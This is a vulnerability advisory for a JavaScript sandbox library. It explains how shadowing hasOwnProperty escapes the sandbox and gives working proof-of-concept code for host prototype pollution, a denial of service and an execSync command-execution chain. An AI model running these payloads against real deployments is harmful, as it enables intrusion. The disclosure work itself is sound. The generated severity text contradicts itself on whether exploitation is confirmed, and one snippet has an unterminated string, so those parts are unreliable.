Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-jjpw-65fv-8g48
No affected components available
Summary
A sandbox escape is possible by shadowing hasOwnProperty on a sandbox object, which disables prototype whitelist enforcement in the property-access path. This permits direct access to __proto__ and other blocked prototype properties, enabling host Object.prototype pollution and persistent cross-sandbox impact.
The issue was reproducible on Node v23.9.0 using the project’s current build output. The bypass works with default Sandbox configuration and does not require custom globals or whitelists.
Root Cause
prototypeAccess uses a.hasOwnProperty(b) directly, which can be attacker‑controlled if the sandboxed object shadows hasOwnProperty. When this returns true, the whitelist checks are skipped.
- src/executor.ts:348
const prototypeAccess = isFunction || !(a.hasOwnProperty(b) || typeof b === 'number');
- src/executor.ts:367-399 prototype whitelist enforcement only happens when
prototypeAccessis true.
- src/executor.ts:220-233 mutation guard uses
obj.context.hasOwnProperty(...), also bypassable via shadowing.
Proofs of Concept
node node_modules/typescript/bin/tsc --project tsconfig.json --outDir build --declaration
node node_modules/rollup/dist/bin/rollup -c
Runtime target: dist/node/Sandbox.js
Baseline: __proto__ blocked without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
try {
const res = sandbox.compile(`return ({}).__proto__`)().run();
console.log('res', res);
} catch (e) {
console.log('error', e && e.message);
}
<img width="734" height="65" alt="image" src="https://github.com/user-attachments/assets/bdbbbe8b-5667-46e4-b4b5-ff4693764ef9" />
Prototype whitelist bypass -> host Object.prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
const code = `
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.polluted = 'pwned';
return 'done';
`;
sandbox.compile(code)().run();
console.log('polluted' in ({}), ({}).polluted);
<img width="549" height="95" alt="image" src="https://github.com/user-attachments/assets/83471777-ee8e-4140-b702-9a575335fd30" />
Logic bypass via prototype pollution
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.isAdmin = true;
return 'ok';
`)().run();
console.log('isAdmin', ({}).isAdmin === true);
<img width="527" height="83" alt="image" src="https://github.com/user-attachments/assets/772bb111-d3e6-4f81-8142-80228e579b57" />
DoS by overriding Object.prototype.toString
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.toString = function () { throw new Error('aaaaaaa'); };
return 'ok';
`)().run();
try {
String({});
} catch (e) {
console.log('error', e.message);
}
<img width="500" height="147" alt="image" src="https://github.com/user-attachments/assets/eb5bff1b-ebe7-470a-abe6-d836de85ad41" />
RCE via host gadget (prototype pollution -> execSync)
<img width="737" height="143" alt="image" src="https://github.com/user-attachments/assets/952ba404-573f-4cb7-9b70-f3294ea19b40" />
const Sandbox = require('./dist/node/Sandbox.js').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const o = { hasOwnProperty: () => true };
const proto = o.__proto__;
proto.cmd = 'id;
return 'ok';
`)().run();
const obj = {}; // typical innocent object
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Additional Finding : Prototype mutation via intermediate reference
This does not require the hasOwnProperty bypass. Some prototypes can be reached via allowed static access ([].constructor.prototype) and then mutated via a local variable, which bypasses isGlobal checks.
Mutate Array.prototype.filter without bypass
const Sandbox = require('./dist/node/Sandbox.js').default;
const sandbox = new Sandbox();
sandbox.compile(`const p = [].constructor.prototype; p.filter = 1; return 'ok';`)().run();
console.log('host filter', [1,2].filter);
Output:
host filter 1
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard